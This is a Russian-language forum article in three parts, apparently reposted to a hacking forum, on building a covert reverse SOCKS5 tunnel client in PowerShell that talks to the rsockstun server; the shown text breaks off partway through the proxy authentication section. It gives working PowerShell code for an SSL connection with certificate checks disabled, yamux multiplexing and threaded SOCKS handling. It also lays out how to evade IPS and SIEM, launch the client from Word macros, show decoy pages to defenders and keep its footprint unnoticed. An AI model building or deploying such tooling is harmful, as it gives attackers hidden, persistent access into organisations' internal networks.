• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем Reverse socks5 proxy на powershell

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
История об исследовании и разработке в 3-х частях. Часть 1 — исследовательская.
Буков много — пользы еще больше.

Постановка задачи

В ходе проведения пентестов и RedTeam кампаний не всегда удается воспользоваться штатными средствами Заказчиков, такими как VPN, RDP, Citrix и т.д. в качестве закрепления для захода во внутреннюю сеть. Где-то штатный VPN работает по MFA и в качестве второго фактора используется железный токен, где-то он жестоко мониторится и наш вход по VPN сразу же становится виден, как говорится — со всеми вытекающими, а где-то таких средств попросту нет.

В подобных случаях постоянно приходится делать так называемые «обратные туннели» — соединения из внутренней сети к внешнему ресурсу или контролируемому нами серверу. Внутри такого туннеля мы уже можем работать с внутренними ресурсами Заказчиков.

Существуют несколько разновидностей таких обратных туннелей. Самый известный из них, конечно же, Meterpreter. Так же большим спросом в народных хакерских массах пользуются SSH-туннели с обратным пробросом портов. Средств осуществления обратного туннелирования достаточно много и многие из них хорошо изучены и описаны.

Конечно же, со своей стороны разработчики защитных решений не стоят в стороне и активно детектируют подобные действия.

К примеру, MSF-сессии успешно детектируются современными IPS от Cisco или Positive Tech, а обратный SSH- туннель можно задетектить практически любым мало-мальским нормальным файерволлом.

Следовательно, для того чтобы остаться незамеченным в хорошей RedTeam кампании — нам необходимо строить обратный туннель нестандартными средствами и максимально близко подстраиваться под реальный режим работы сети.

Давайте попробуем найти или изобрести нечто подобное.
Прежде чем что-то изобретать надо понять, какого результата мы хотим достичь, какие функции должна выполнять наша разработка. Какие же будут требования к туннелю, чтобы мы могли работать в режиме максимальной скрытности?

Понятно, что для каждого случая такие требования могут сильно отличаться, но по опыту работы можно выделить основные:

  • работа на ОС Windows-7-10. Так как в большинстве корпоративных сетях используется именно винда;
  • клиент соединяется с сервером по SSL для исключения тупого прослушивания средствами ips;
  • при соединении клиент должен поддерживать работу через прокси-сервер с авторизацией, т.к. во многих компаниях выход в интернет происходит через прокси. На самом деле, клиентская машина может об этом даже ничего и не знать, а прокси используется в транспарентном режиме. Но такой функционал мы должны заложить;
  • клиентская часть должна быть лаконична и портабельна;
    Понятно, что для работы внутри сети Заказчика на клиентской машине можно установить OpenVPN и поднять полноценный туннель до своего сервера (благо что клиенты openvpn умеют работать через прокси). Но, во-первых, это не всегда получится, так как мы можем не быть там локальными админами, а во-вторых, это наделает так много шуму, что порядочный SIEM или HIPS тут же на нас «настучит куда надо». В идеале наш клиент должен быть так называемой inline командой, как например реализованы многие bash-шеллы, и запускаться через командную строку, например, при выполнении команд из word-макроса.
  • наш туннель должен быть многопоточным и поддерживать множество соединений одновременно;
  • соединение клиент-сервер должно иметь какую-либо авторизацию, чтобы туннель устанавливался только для нашего клиента, а не для всех, кто придет к нам на сервер по указанному адресу и порту. В идеале, для «сторонних пользователей» должна открываться лендинг-страница с котиками или профессионально тематикой, связанной с исходным доменом.
    Например, если Заказчиком выступает медицинская организация, то для администратора информационной безопасности, решившего проверить ресурс, на который обращался сотрудник клиники, должна открыться страница с фармацевтическими товарами, википедия с описанием диагноза или блог доктора Комаровского и т.д.

Анализ существующих инструментов

Прежде чем изобретать свой велосипед — необходимо сделать анализ существующих велосипедов и понять, действительно ли оно нам надо и, вероятно, не только мы задумались о необходимости такого функционального велосипеда.

Гугление в интернете (гуглим мы вроде нормально), а также поиск по гитхабу по ключевым словам «reverse socks» не дал особо много результатов. В основном, все сводится к построению ssh-туннелей с обратным пробросом портов и всего, что с этим связано. Помимо SSH-туннелей можно выделить несколько решений:

github.com/klsecservices/rpivot
Давняя реализация обратного туннеля от ребят из Лаборатории Касперского. По названию понятно, для чего предназначен этот скрипт. Реализован на Python 2.7, туннель работает в cleartext режиме (как модно сейчас говорить — привет РКН)

github.com/tonyseek/rsocks
Еще одна реализация на питоне, так же в cleartext, но возможностей больше. Написан в виде модуля и есть API для интеграции решения в свои проекты.

github.com/llkat/rsockstun
github.com/mis-team/rsockstun

Первая ссылка — изначальная версия реализации реверс сокса на голанге (не поддерживается разработчиком).

Вторая ссылка — уже наша доработка с дополнительными фишками, также на голанге. В нашей версии мы реализовали SSL, работу через прокси с NTLM-авторизацией, авторизацию на клиенте, лендинг-страницу при неверном пароле (вернее — редирект на лендинг-страницу), многопоточный режим (т.е. с туннелем могут работать несколько человек одновременно), систему пингов клиента на предмет того — живой он или нет.

github.com/jun7th/tsocks
Реализация обратного сокса от наших «китайских друзей» на питоне. Там же для ленивых и «бессмертных» лежит уже готовый бинарь (exe), собранный китайцами и готовый к использованию. Тут один только китайский бог знает, что в этом бинаре может быть еще, кроме основного функционала, так что используйте на свой страх и риск.

github.com/securesocketfunneling/ssf
Довольно-таки интересный проект на С++ для реализации обратного сокса и не только. Помимо обратного туннеля, он может делать проброс портов, создание командного шелла и т.д.

MSF meterpreter
Тут как говорится, без комментариев. Все мало-мальски образованные хакеры прекрасно знакомы с этой штукой и понимают, насколько легко ее обнаруживают средства защиты.

Все вышеописанные инструменты работают по схожей технологии: на машине внутри сети запускается заранее подготовленный исполняемый бинарный модуль, который устанавливает соединение с внешним сервером. На сервере запускается SOCKS4/5 сервер, принимающий подключения и транслирующий их на клиента.

Недостатком всех вышеперечисленных инструментов является то, что либо на клиентской машине необходим установленный Python или Golang (часто ли вы встречали установленный Python на машинах, к примеру, директора компании или офисных работников?), либо на эту машину необходимо тащить заранее собранный бинарь (фактически python и скрипт в одном флаконе) и запускать этот бинарь уже там. А загрузка exe с последующим его запуском — это еще та сигнатура для местного антивируса или HIPS.

В общем, вывод напрашивается сам собой — нам нужно решение на powershell. Сейчас в нас полетят помидоры — мол powershell — это уже все избито, он мониторится, блокируется и т.д. и т.п. На самом деле — далеко не везде. Ответственно заявляем. Кстати, существует уйма способов обойти блокировки (тут опять модная фраза про привет РКН :) ), начиная от тупого переименования powershell.exe -> cmdd.exe и заканчивая powerdll и т.п.

Начинаем изобретать

Понятное дело, что сперва мы посмотрим в гугл и… не найдем ровным счетом ничего по этой теме (если кто-то нашел — кидайте ссылки в комменты). Есть только реализация Socks5 на powershell, но это обычный «прямой» сокс, имеющий ряд своих недостатков (о них поговорим позднее). Можно, конечно, легким движением руки превратить его в обратный, но это будет только однопоточный сокс, что для нас не совсем то, что надо.

Итак, мы не нашли ничего готового, поэтому нам придется все-таки изобрести свой велосипед. За основу нашего велосипеда мы возьмем нашу разработку обратного сокса на голанге, а клиента к нему реализуем на powershell.

RSocksTun

Итак, как же работает rsockstun?

В основе работы RsocksTun (далее по тексту — rs) лежат два программных компонента — Yamux и Socks5 сервер. Socks5 сервер — это обычный локальный socks5, он запускается на клиенте. А мультиплексирование соединений к нему (помните про многопоточность?) обеспечивается с помощью yamux (yet another multiplexer). Такая схема позволяет запускать несколько клиентских socks5 серверов и распределять внешние подключения к ним, пробрасывая их через одно единственное TCP-соединение (почти как в meterpreter) от клиента к серверу, реализуя тем самым многопоточный режим, без которого нам просто не получится полноценно работать во внутренней сети.

Суть работы yamux’а заключается в том, что он вводит дополнительный сетевой уровень стримов, реализуя его в виде 12-байтного заголовка для каждого пакета. (Здесь мы намеренно используем слово «стрим», а не поток, чтобы не путать читателя с программным потоком «thread» — это понятие мы так же будем использовать в данной статье). Внутри yamux заголовка содержатся номер стрима, флаги для установки/завершения стрима, количество передаваемых байт, размер окна передачи.

3487


Помимо установки/завершения стрима в yamux реализован механизм keepalive’ов, позволяющий отслеживать работоспособность установленного канала связи. Работа механизма keeplive-сообщений настраивается при создании Yamux-сессии. Собственно, из настроек там только — два параметра: enable/disable и периодичность отсылки пакетов в секундах. Keepalive-сообщения может отсылать yamux-сервер, так yamux-клиент. При получении keepalive-сообщения удаленная сторона обязана ответить на него посылкой точно такого же идентификатора сообщения (фактически — числа), который она приняла. В общем, keepalive — это тот же пинг, только для yamux.

Подробно вся техника работы мультиплексора: типы пакетов, флаги установки и завершения соединений механизм передачи данных описана в спецификации к yamux.

Заключение к первой части

Итак, в первой части статьи мы познакомились с некоторым инструментарием по организации обратных туннелей, посмотрели на их преимущества и недостатки, изучили механизм работы Yamux мультиплексора и описали основные требования к вновь создаваемому powershell-модулю. В следующей части мы займемся разработкой самого модуля, практически, с нуля. Продолжение следует. Не переключайтесь :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
История об исследовании и разработке в 3-х частях. Часть 2 — разработческая.
Буков много — пользы еще больше.

В первой части статьи мы познакомились с некоторым инструментарием по организации обратных туннелей, посмотрели на их преимущества и недостатки, изучили механизм работы Yamux мультиплексора и описали основные требования к вновь создаваемому powershell-модулю. Настало время заняться разработкой клиентского powershell модуля к уже готовой реализации обратного туннеля RSocksTun.

Прежде всего, нам необходимо понять, в каком режиме будет работать наш модуль. Очевидно, что для прима-передачи данных нам необходимо будет использовать механизм windows сокетов и предоставляемые .Net возможности по потоковому чтению-записи в сокеты. Но, с другой стороны, т.к. наш модуль должен обслуживать несколько yamux-стримов одновременно, то все операции ввода-вывода не должны полностью блокировать выполнение нашей программы. Отсюда напрашивается вывод о том, что наш модуль должен использовать программную многопоточность и выполнять операции чтения-записи с yamux-сервером, а так же операции чтения-записи к серверам назначения в разных программных потоках. Ну и само собой необходимо предусмотреть механизм взаимодействия между нашими параллельными потоками. Благо, powershell предоставляет широкие возможности по запуску и управлению программными потоками.

Общий алгоритм работы

Таким образом, общий алгоритм работы нашего клиента должен быть примерно таким:
  • установить SSL-соединение с сервером;
  • авторизоваться по паролю, чтобы сервер смог отличить нас от сотрудника службы безопасности;
  • ожидать yamux-пакета на установку нового стрима, периодически отвечая на keepalive-запросы сервера;
  • запустить новый программный поток socksScript (не путать со стримом), как только придет yamux пакет на установку нового стрима. Внутри socksScript реализовать работу socks5 сервера;
  • по приходу пакета с данными от yamux — понять из 12-байтового заголовка, какому из стримов предназначены данные, а также их размер, прочитать данные от yamux-сервера и передать полученные данные потоку с соответствующим номером стрима;
  • периодически контролировать наличие данных, предназначенных для yamux-сервера в каждом из запущенных socks-скриптах. При наличии таковых данных — добавить к ним соответствующий 12-байтовый заголовок и отправить на yamux-сервер;
  • по приходу yamux-пакета на закрытие стрима — передать сигнал соответствующему потоку на завершение стрима и разрыв соединения, а после — завершить и сам поток;

Итак, в нашем клиенте необходимо реализовать как минимум 3 программных потока:

  1. основной, который будет устанавливать соединение, авторизовываться на yamux-сервере, принимать от него данные, обрабатывать yamux-заголовки и отправлять уже сырые данные в другие программные потоки;
  2. потоки с сокс-серверами. Их может быть несколько — по одному на каждый стрим. В них реализована функциональность socks5. Эти потоки будут взаимодействовать с точками назначения во внутренней сети;
  3. обратный поток. Он принимает данные от socks-потоков, добавляет к ним yamux-заголовки и отправляет на yamux-сервер;

И, естественно, нам необходимо предусмотреть взаимодействие между всеми этими потоками.

Нам нужно не только обеспечить такое взаимодействие, но и получить удобство потокового ввода-вывода (аналогично как в сокетах). Наиболее подходящим механизмом будет использование программных пайпов. В ОС Windows пайпы бывают именные, когда у каждого пайпа есть свое имя, и анонимные — каждый пайп идентифицируется его хендлером. С целью скрытности, конечно же, мы будем использовать анонимные пайпы. (Ведь мы же не хотим, чтобы наш модуль вычислялся по использованию именных пайпов в системе — да?). Таким образом, между основным/обратным потоками и socks-потоками взаимодействие будет осуществляться через анонимные пайпы (anonymous pipes), поддерживающие асинхронные потоковые операции ввода-вывода. Между основным и обратными потоками общение будет происходить через механизм shared-object (общих синхронизируемых переменных) (подробнее про то, что такое эти переменные и как с ними жить можно прочесть здесь).

Информацию о запущенных socks-потоках мы должны хранить в соответствующей структуре данных. При создании socks-потока в эту структуру мы должны записать:

  • номер yamux сессии: $ymxstream;
  • 4 переменных для работы с пайпами (каналами): $cipipe, $copipe, $sipipe, $sopipe. Так как анонимные каналы работают либо в IN, либо в OUT, то для каждого socks-потока нам необходимо два анонимных канала, у каждого из которых должно быть по два конца (pipestream) (серверный и клиентский);
  • результат выполнения вызова потока — $AsyncJobResult;
  • хендлер потока — $Psobj. Через него мы будем закрывать поток и высвобождать ресурсы;
  • результат асинхронного чтения из анонимного канала обратным потоком ($readjob). Данная переменная используется в обратном yamuxScript потоке для асинхронного чтения из соответствующего пайпа;
  • буфер для чтения данных для каждого socks-потока;

Основной поток

Итак, с точки зрения обработки данных, работа нашей программы строится следующим образом:

  • серверная часть (rsockstun — реализована на Golang) поднимает ssl-сервер и ждет подключений от клиента;
  • при получении коннекта от клиента, сервер проверяет пароль, и если он верен устанавливает yamux-соединение, поднимает socks-порт и ждет подключения от socks-клиентов (нашего proxychains, браузера, и т.п.), периодически обмениваясь при этом keepalive-пакетами с нашим клиентом. Если пароль неверен — осуществляется редирект на страницу, которую мы указали при установке сервера (это «легальная» страница для бдительного администратора информационной безопасности);
  • при получении коннекта от socks-клиента сервер отправляет нашему клиенту yamux-пакет на установление нового стрима (YMX SYN);

Получение и анализ Yamux заголовка

Наш модуль сперва устанавливает SSL-соединение к серверу и авторизуется по паролю:

Код:
$tcpConnection = New-Object System.Net.Sockets.TcpClient($server, $port)
$tcpStream = New-Object System.Net.Security.SslStream($tcpConnection.GetStream(),$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$tcpStream.AuthenticateAsClient('127.0.0.1')

Затем, скрипт ждет 12-байтный yamux-заголовок и анализирует его.
Здесь есть небольшой нюанс… Как показывает практика, простого чтения 12 байт из сокета:

Код:
$num = $tcpStream.Read($tmpbuffer,0,12)

недостаточно, так как операция чтения может завершиться после прихода лишь части необходимых байт. Следовательно, нам требуется ждать все 12-байт в цикле:

Код:
     do {
            try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {}
            $tnum += $num
            $ymxbuffer += $tmpbuffer[0..($num-1)]
        }while ($tnum -lt 12 -and $tcpConnection.Connected)

После завершения цикла мы должны проанализировать 12-байтовый заголовок, содержащийся в переменной $ymxbuffer на его тип и установленные флаги в соответствии со спецификацией Yamux'а.

Yamux-заголовок может быть нескольких типов:

  • ymx syn — установка нового стрима;
  • ymx fin — завершение стрима;
  • ymx data — представляет информацию о данных (какого они размера и какому стриму предназначены);
  • ymx ping — keepalive message;
  • ymx win update — подтверждение передачи порции данных;

Все что не подходит под перечисленные типы yamux заголовков мы считаем исключительной ситуацией. 10 таких исключений и мы считаем, что тут что-то не так и завершаем работу нашего модуля. (а так же стираем все наши файлы, вайпаем диск, меняем фамилию, делаем новый паспорт, уезжаем из страны и т.д. по списку...)

Создание нового socks-потока

Получив yamux-пакет на установление нового стрима, наш клиент создает два анонимных серверных пайпа ($sipipe, $sopipe), для in/out соответственно, на их основе создает клиентские пайпы ($cipipe, $copipe):

Код:
$sipipe = new-object System.IO.Pipes.AnonymousPipeServerStream(1)
$sopipe = new-object System.IO.Pipes.AnonymousPipeServerStream(2,1)
$sipipe_clHandle = $sipipe.GetClientHandleAsString()
$sopipe_clHandle = $sopipe.GetClientHandleAsString()
$cipipe = new-object System.IO.Pipes.AnonymousPipeClientStream(1,$sopipe_clHandle)
$copipe = new-object System.IO.Pipes.AnonymousPipeClientStream(2,$sipipe_clHandle)

создает runspace для socks-потока, задает shared переменные для взаимодействия с этим потоком (StopFlag) и запускает scriptblock SocksScript, реализующий функционал socks-сервера в отдельном потоке:

Код:
$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
$PS = [PowerShell]::Create()

$socksrunspace = [runspacefactory]::CreateRunspace()
$socksrunspace.Open()
$socksrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag)
$PS.Runspace = $socksrunspace
$PS.AddScript($socksScript).AddArgument($state) | Out-Null
[System.IAsyncResult]$AsyncJobResult = $null
$StopFlag[$ymxstream] = 0
$AsyncJobResult = $PS.BeginInvoke()

Созданные переменные записываются в специальную структуру ArrayList — аналог Dictionary в Python

Код:
[System.Collections.ArrayList]$streams = @{}

Добавление происходит через встроенный метод Add:

Код:
$streams.add(@{ymxId=$ymxstream;cinputStream=$cipipe;sinputStream=$sipipe;coutputStream=$copipe;soutputStream=$sopipe;asyncobj=$AsyncJobResult;psobj=$PS;readjob=$null;readbuffer=$readbuffer}) | out-null

Обработка Yamux Data

При поступлении от yamux-сервера данных, предназначенных какому-либо socks-потоку мы должны из 12-байтного yamux-заголовка определить номер yamux-стрима (номер socks-потока, для которого эти данные предназначены), а так же количество байт данных:

Код:
$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)
$ymxcount = [bitconverter]::ToInt32($buffer[11..8],0)

Затем из ArrayList stream по полю ymxId получаем хендлеры серверного out-пайпа, соответствующего этому socks-потоку:

Код:
 if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
        else {$streamind = 0}
 $outStream = $streams[$streamind].soutputStream

После этого читаем данные из сокета, помня о том, что читать нужно через цикл определенное количество байт:

Код:
$databuffer = $null
            $tnum = 0
            do {
                if ($buffer.length -le ($ymxcount-$tnum)) { $num = $tcpStream.Read($buffer,0,$buffer.Length) }else
                { $num = $tcpStream.Read($buffer,0,($ymxcount-$tnum)) }
                $tnum += $num
                $databuffer += $buffer[0..($num-1)]
            }while ($tnum -lt $ymxcount -and $tcpConnection.Connected)

и записываем полученные данные в соответствующий пайп:

Код:
$num = $tcpStream.Read($buffer,0,$ymxcount)
$outStream.Write($buffer,0,$ymxcount)


Обработка Yamux FIN — завершение стрима

При получении от yamix-сервера пакета, сигнализирующего о закрытии какого-либо стрима, мы также, сначала из 12-байтного заголовка получаем номер yamux стрима:

Код:
$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)

затем, через shared-переменную (вернее массив флагов, где индексом является номер yamux стрима) сигнализируем socks-потоку о необходимости завершения:

Код:
if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
        else {$streamind = 0}
 
if ($StopFlag[$ymxstream] -eq 0){
            write-host "stopflag is 0. Setting to 1"
            $StopFlag[$ymxstream] = 1
        }

после установки флага, перед тем как убивать socks-поток — необходимо выждать определенное количество времени для того, чтобы socks-поток успел данный флаг обработать. 200 мс вполне хватает для этого:

Код:
start-sleep -milliseconds 200 #wait for thread check flag


затем закрываем все пайпы, относящиеся к данному потоку, закрываем соответствующий Runspace и убиваем Powershell object для освобождения ресурсов:

Код:
$streams[$streamind].cinputStream.close()
$streams[$streamind].coutputStream.close()
$streams[$streamind].sinputStream.close()
$streams[$streamind].soutputStream.close()
    
$streams[$streamind].psobj.Runspace.close()
$streams[$streamind].psobj.Dispose()
$streams[$streamind].readbuffer.clear()

После закрытия socks-потока нам необходимо удалить соответствующий элемент из ArrayList streams:

Код:
$streams.RemoveAt($streamind)

И в конце нам необходимо принудительно запустить сборщик мусора .Net чтобы освободить используемые потоком ресурсы. В противном случае, наш скрипт будет потреблять порядка 100-200 Мб памяти, что может броситься в глаза опытному и въедливому пользователю, а нам этого не надо:

Код:
[System.GC]::Collect()#clear garbage to minimize memory usage

Yamux Script — обратный поток

Как уже было сказано выше, данные поступившие из socks-потоков, обрабатываются отдельным потоком yamuxScript, который стартует с самого начала (после успешного коннекта к серверу). Его задача состоит в том, чтобы периодически опрашивать выходные пайпы socks-потоков, находящиеся в ArrayList $streams:
Код:
foreach ($stream in $state.streams){ ... }

и при наличии в них данных отправлять их на yamux-сервер, предварительно снабдив соответствующим 12-байтовым yamux заголовком, содержащим в себе номер yamux-сессии и количество байт данных:

Код:
 if ($stream.readjob -eq $null){
   $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
 }elseif ( $stream.readjob.IsCompleted  ){
     #if read asyncjob completed  - generate yamux header

     $outbuf = [byte[]](0x00,0x00,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [bitconverter]::getbytes([int32]$stream.readjob.Result)[3..0]
     $state.tcpstream.Write($outbuf,0,12)
            
     #write raw data from socks thread to yamux
     $state.tcpstream.Write($stream.readbuffer,0,$stream.readjob.Result)
     $state.tcpstream.flush()

     #create new readasync job
     $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
 }else{
         #write-host "Not readed"
      }

Также yamuxScript следит за установленным флагом в shared массиве $StopFlag, для каждого из выполняемых socksScript потоков. Этот флаг может быть установлен в значение равное 2, в случае если удаленный сервер, с которым работает socksScript, разрывает соединение. В такой ситуации информацию нужно сообщить socks-клиенту. Цепочка получается следующая: yamuxScript должен сообщить об этом yamux серверу о разрыве соединения, чтобы тот в свою очередь сигнализировал об этом socks-клиенту.

Код:
if ($StopFlag[$stream.ymxId] -eq 2){
     $stream.ymxId | out-file -Append c:\work\log.txt
     $outbuf = [byte[]](0x00,0x01,0x00,0x04)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [byte[]](0x00,0x00,0x00,0x00)
     $state.tcpstream.Write($outbuf,0,12)
     $state.tcpstream.flush()
 }

Yamux window update

Помимо этого, yamuxScript должен следить за количеством полученный от yamux-сервера байт и периодически отправлять YMX WinUpdate Message. Этот механизм в Yamux отвечает за контроль и изменение так называемого window size (по аналогии с протоколом TCP) — количества байт данных, которое может быть отправлено без подтверждения приема. По умолчанию window size равен 256 Kbytes. Это означает, что при отправке-получении файлов или данных больше этого размера нам необходимо отправить windpw update пакет yamux-серверу. Для контроля за количеством принятых данных от yamux-сервера введен специальный shared array $RcvBytes, в который основным потоком путем инкремента текущего значения записывается количество полученных от сервера байт для каждого стрима. При превышении установленного порога, yamuxScript должен отправить на сервер WinUpdate пакет и обнулить счетчик:

Код:
if ($RcvBytes[$stream.ymxId] -ge 256144){
                #out win update ymx packet with 256K size
                $outbuf = [byte[]](0x00,0x01,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ (0x00,0x04,0x00,0x00)
                $state.tcpstream.Write($outbuf,0,12)
                $RcvBytes[$stream.ymxId] = 0
            }

Потоки socksScript

Теперь перейдем непосредственно к самому socksScript.
Напомним, что socksScript вызывается асинхронно:

Код:
$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
$PS = [PowerShell]::Create()
....
$AsyncJobResult = $PS.BeginInvoke()

и на момент вызова в составе передаваемой потоку переменной $state присутствуют следующие данные:

  • $state.streamId — номер yamux сессии;
  • $state.inputStream — read pipe;
  • $state.oututStream — write pipe;

Данные в пайпы поступают уже в сыром виде без yamux-заголовков, т.е. в том виде, в котором они пришли от socks-клиента.

Внутри socksScript прежде всего мы должны определить версию сокса и убедиться что она равна 5:

Код:
$state.inputStream.Read($buffer,0,2) | Out-Null
        $socksVer=$buffer[0]
        if ($socksVer -eq 5){ ... }

Ну а далее делаем ровно так, как реализовано в скрипте Invoke-SocksProxy. Единственным отличием будет то, что нам вместо вызовов

Код:
$AsyncJobResult.AsyncWaitHandle.WaitOne();
$AsyncJobResult2.AsyncWaitHandle.WaitOne();

Необходимо в цикличном режиме мониторить tcp соединение и соответствующий флаг завершения в массиве $StopFlag, иначе мы не сможем распознать ситуацию окончания соединения со стороны socks-клиента и ymux-сервера:

Код:
while ($StopFlag[$state.StreamID] -eq 0 -and $tmpServ.Connected ){
      start-sleep -Milliseconds 50
 }

В случае, если соединение завершается со стороны tcp сервера, к которому мы подключаемся, мы устанавливаем данный флаг в значение равное 2, что заставит yamuxscript распознать это и передать на yamux сервер соответствующий ymx FIN пакет:

Код:
if ($tmpServ.Connected){
       $tmpServ.close()
 }else{
       $StopFlag[$state.StreamID] = 2
 }

Так же мы должны установить данный флаг в случае, если socksScript не сможет подключиться к серверу назначения:

Код:
if($tmpServ.Connected){ ... }
 else{
     $buffer[1]=4
     $state.outputStream.Write($buffer,0,2)
     $StopFlag[$state.StreamID] = 2
 }

Заключение ко второй части

В ходе наших кодерских изысканий нам удалось создать powershell-клиент к нашему RsocksTun серверу с возможностью:

  • подключения по SSL;
  • авторизации на сервере;
  • работе с yamux-сервером с поддержкой keepalive пингов;
  • мультипоточного режима работы;
  • поддержки передачи больших файлов;

За пределами статьи осталась реализация функционала по соединению через прокси-сервер и авторизацию на нем, а так же превращению нашего скрипта в inline-версию, которую можно запустить из командной строки. Это будет в третьей части.

На сегодня все. Как говорится — подписывайтесь, ставьте лайки, оставляйте комментарии (особенно касаемые ваших мыслей по улучшению кода и добавлению функционала).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
История об исследовании и разработке в 3-х частях. Часть 3 — практическая.
Буков много — пользы еще больше

Проверка боем

Давайте теперь проверим работу нашего скрипта на практике. Для этого попробуем выбросить обратный туннель с виртуалки (Windows 7 .net 4.7) до линуксовой VPS на Digital Ocean и затем, воспользовавшись им, зайдем обратно на Win7. В данном случае мы имитируем ситуацию, когда Windows 7 — машина Заказчика, Linux VPS — наш сервер.
На VPS (в нашем случае Ubuntu 18.04) устанавливаем и настраиваем серверную часть RsocksTun:

  • ставим голанг: apt install golang
  • берем исходники rsockstun с гита:
    git clone github.com/mis-team/rsockstun.git /opt/rstun
  • устанавливаем зависимости:
    go get github.com/hashicorp/yamux
    go get github.com/armon/go-socks5
    go get github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • компилируем согласно мануалу: cd /opt/rstun; go build
  • генерируем SSL сертификат:
    openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
  • запускаем серверную часть:

3488


  • На клиенте стартуем наш скрипт, указывая ему сервер для подключения, порт и пароль:

3489


  • используем поднятый порт Socks5 сервера, чтобы сходить на mail.ru

3490


Как видно из скриншотов – наш скрипт работает. Порадовались, мысленно воздвигли себе памятник и решили, что все идеально. Но…

Работа над ошибками

Но не все так гладко как хотелось бы…

В ходе эксплуатации скрипта выяснился один неприятный момент: если скрипт работает через не особо быстрое соединение с сервером, то при передаче больших данных может произойти ошибка, показанная на рисунке ниже

3491


Изучив данную ошибку, мы видим, что при получении keepalive-сообщения (в то время, когда еще идет передача данных на сервер) мы пытаемся одновременно записать в сокет еще и ответ на keepalive, что и вызывает ошибку.

Чтобы исправить ситуацию, нам необходимо дождаться окончания передачи данных, а затем посылать ответ на keepalive. Но тут может возникнуть другая проблема: если keepalive сообщение придет в момент между отправкой 12—байтового заголовка и отправкой данных, то тогда мы разрушим структуру ymx пакета. Поэтому, более верным решением будет перенести полностью весь функционал по отправке данных внутрь yamuxScript, который обрабатывает события по отправке последовательно и подобных ситуаций не будет.

При этом, чтобы инструктировать yamuxScript отправлять keepalive ответы, мы можем использовать наш shared ArrayList StopFlag[0] – нулевой индекс не используется, т.к. нумерация yamux стримов начинается с 1. В этом индексе будем передавать в yamuxScript значение пинга, полученное в keepalive сообщении. По умолчанию значение будет -1, что означает отсутствие необходимости передачи. YamuxScript будет проверять это значение, и если оно будет равно 0 (первый keepalive ping = 0) или больше, то отправлять переданное значение в keepalive response:

Код:
if ($StopFlag[0] -ge 0){
#got yamux keepalive. we have to reply
$outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0]
$state.tcpstream.Write($outbuf,0,12)
$state.tcpstream.flush()
$StopFlag[0] = -1
}

Так же мы должны исключить отправку в основном потоке программы ответа на YMX SYN флаг.

Для этого, мы должны так же перенести данный функционал внутрь yamuxScript, но ввиду того, что yamux сервер не требует отправки ответа на YMX SYN и сразу начинает гнать данные, мы просто отключим отправку данного пакета и все:

Код:
#$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00)
#$tcpstream.Write($outbuf,0,12)

После этого передача больших кусков данных работает нормально.

Поддержка прокси-сервера

Теперь давайте подумаем, как мы можем заставить наш клиент работать через прокси-сервер.

Начнем с базовых основ. По идее, http-прокси (а именно http прокси работают в большинстве корпоративных сетей) предназначен для работы с протоколом HTTP, а у нас вроде как http и не пахнет. Но в природе помимо http есть ещё и https и ваш браузер может прекрасно подключаться к https сайтам через обычный http — верно?

Всему виной специальный режим работы прокси-сервера — режим CONNECT. Таким образом, если браузер хочет подключиться к серверу gmail по протоколу https через прокси-сервер, он отправляет на прокси-сервер запрос CONNECT, в котором указывает хост и порт назначения.

Код:
CONNECT gmail.com:443 HTTP/1.1
Host: gmail.com:443
Proxy-Connection: Keep-Alive

После удачного подключения к серверу gmail прокси возвращает ответ 200 OK.

Код:
HTTP/1.1 200 OK

После этого все данные от браузера напрямую передаются на сервер и наоборот. Говоря простым языком — прокси напрямую соединяет два сетевых сокета между собой — сокет браузера и сокет gmail сервера. После этого браузер начинает устанавливать ssl соединение с сервером gmail и работать с ним напрямую.

Перенося вышесказанное на наш клиент, мы сперва должны установить соединение с прокси сервером, отправить http-пакет с указанием метода CONNECT и адреса нашего yamux сервера, дождаться ответа с кодом 200 и затем уже приступить к установлению ssl-соединения.

В принципе, ничего особо сложного нет. Именно так реализован механизм подключения через прокси-сервер в golang клиенте rsockstun.

Основные трудности начинаются, в случае когда прокси сервер требует ntlm или kerberos авторизацию при подключении к себе.

В таком случае, прокси-сервер возвращает код 407 и ntlm http-заголовок в виде строки base64

Код:
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA=
